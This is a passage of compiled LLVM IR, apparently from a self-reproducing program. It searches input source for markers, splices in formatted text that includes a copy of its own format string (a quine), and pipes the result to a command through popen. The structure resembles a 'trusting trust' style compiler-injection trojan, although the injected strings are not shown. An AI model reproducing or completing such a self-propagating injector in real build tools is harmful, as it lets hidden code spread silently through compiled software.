%35 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %34, i32 200, i8* getelementptr inbounds ([140 x i8], [140 x i8]* @.str.3, i64 0, i64 0), i32 34, i32 34, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%36 = call i32 @strlen(i8* %34)
%37 = add nsw i32 %36, %24
%38 = call i64 @calloc(i32 %37, i32 1)
%39 = inttoptr i64 %38 to i8*
%40 = call i8* @strstr(i8* dereferenceable(1) %26, i8* dereferenceable(1) getelementptr inbounds ([27 x i8], [27 x i8]* @.str.5, i64 0, i64 0))
%41 = ptrtoint i8* %40 to i64
%42 = sub i64 %41, %25
%43 = trunc i64 %42 to i32
%44 = call i32 @strncpy(i8* %39, i8* %26, i32 %43)
%45 = call i32 @strncat(i8* %39, i8* %34, i32 %36)
%46 = call i32 @strcat(i8* %39, i8* %40)
%47 = call i32 @free(i8* %26)
%48 = add i32 %36, %22
br label %49
49: ; preds = %33, %19
%50 = phi i8* [ %39, %33 ], [ %26, %19 ]
%51 = phi i32 [ %48, %33 ], [ %22, %19 ]
%52 = call i8* @strstr(i8* dereferenceable(1) %12, i8* dereferenceable(1) getelementptr inbounds ([11 x i8], [11 x i8]* @.str.7, i64 0, i64 0))
%53 = icmp eq i8* %52, null
br i1 %53, label %71, label %54
54: ; preds = %49
%55 = getelementptr inbounds [300 x i8], [300 x i8]* %4, i64 0, i64 0
%56 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %55, i32 300, i8* getelementptr inbounds ([175 x i8], [175 x i8]* @.str.6, i64 0, i64 0), i32 34, i32 34, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%57 = call i32 @strlen(i8* %55)
%58 = add nsw i32 %57, %24
%59 = call i64 @calloc(i32 %58, i32 1)
%60 = inttoptr i64 %59 to i8*
%61 = call i8* @strstr(i8* dereferenceable(1) %50, i8* dereferenceable(1) getelementptr inbounds ([16 x i8], [16 x i8]* @.str.8, i64 0, i64 0))
%62 = ptrtoint i8* %61 to i64
%63 = ptrtoint i8* %50 to i64
%64 = sub i64 %62, %63
%65 = trunc i64 %64 to i32
%66 = call i32 @strncpy(i8* %60, i8* %50, i32 %65)
%67 = call i32 @strncat(i8* %60, i8* %55, i32 %57)
%68 = call i32 @strcat(i8* %60, i8* %61)
%69 = call i32 @free(i8* %50)
%70 = add i32 %57, %22
br label %71
71: ; preds = %54, %49
%72 = phi i8* [ %60, %54 ], [ %50, %49 ]
%73 = phi i32 [ %70, %54 ], [ %51, %49 ]
%74 = call i8* @strstr(i8* dereferenceable(1) %12, i8* dereferenceable(1) getelementptr inbounds ([11 x i8], [11 x i8]* @.str.10, i64 0, i64 0))
%75 = icmp eq i8* %74, null
br i1 %75, label %94, label %76
76: ; preds = %71
%77 = getelementptr inbounds [10000 x i8], [10000 x i8]* %5, i64 0, i64 0
%78 = call i32 @sprintf(i8* %77, i8* dereferenceable(1) getelementptr inbounds ([3163 x i8], [3163 x i8]* @.str.9, i64 0, i64 0), i32 34, i8* getelementptr inbounds ([140 x i8], [140 x i8]* @.str.3, i64 0, i64 0), i32 34, i32 10, i32 10, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9, i32 34, i8* getelementptr inbounds ([175 x i8], [175 x i8]* @.str.6, i64 0, i64 0), i32 34, i32 10, i32 10, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9, i32 34, i8* getelementptr inbounds ([3163 x i8], [3163 x i8]* @.str.9, i64 0, i64 0), i32 34, i32 10, i32 10, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 34, i32 34, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 9, i32 10, i32 9, i32 10, i32 10, i32 9)
%79 = call i32 @puts(i8* %77)
%80 = call i32 @strlen(i8* %77)
%81 = add nsw i32 %80, %24
%82 = call i64 @calloc(i32 %81, i32 1)
%83 = inttoptr i64 %82 to i8*
%84 = call i8* @strstr(i8* dereferenceable(1) %72, i8* dereferenceable(1) getelementptr inbounds ([26 x i8], [26 x i8]* @.str.12, i64 0, i64 0))
%85 = ptrtoint i8* %84 to i64
%86 = ptrtoint i8* %72 to i64
%87 = sub i64 %85, %86
%88 = trunc i64 %87 to i32
%89 = call i32 @strncpy(i8* %83, i8* %72, i32 %88)
%90 = call i32 @strncat(i8* %83, i8* %77, i32 %80)
%91 = call i32 @strcat(i8* %83, i8* %84)
%92 = call i32 @free(i8* %72)
%93 = add i32 %80, %22
br label %94
94: ; preds = %76, %71
%95 = phi i8* [ %83, %76 ], [ %72, %71 ]
%96 = phi i32 [ %93, %76 ], [ %73, %71 ]
%97 = getelementptr inbounds [500 x i8], [500 x i8]* %6, i64 0, i64 0
%98 = call i32 (i8*, i32, i8*, ...) @snprintf(i8* %97, i32 500, i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.13, i64 0, i64 0), i8* %14)
%99 = call i32* @popen(i8* %97, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.14, i64 0, i64 0))
%100 = call i32 @fwrite(i8* %95, i32 1, i32 %96, i32* %99)
%101 = call i32 @puts(i8* dereferenceable(1) %95)
%102 = call i32 @pclose(i32* %99)
%103 = call i32 @free(i8* %95)
br label %104
104: ; preds = %17, %94, %8
%105 = phi i32 [ 1, %8 ], [ 1, %17 ], [ 0, %94 ]
ret i32 %105
}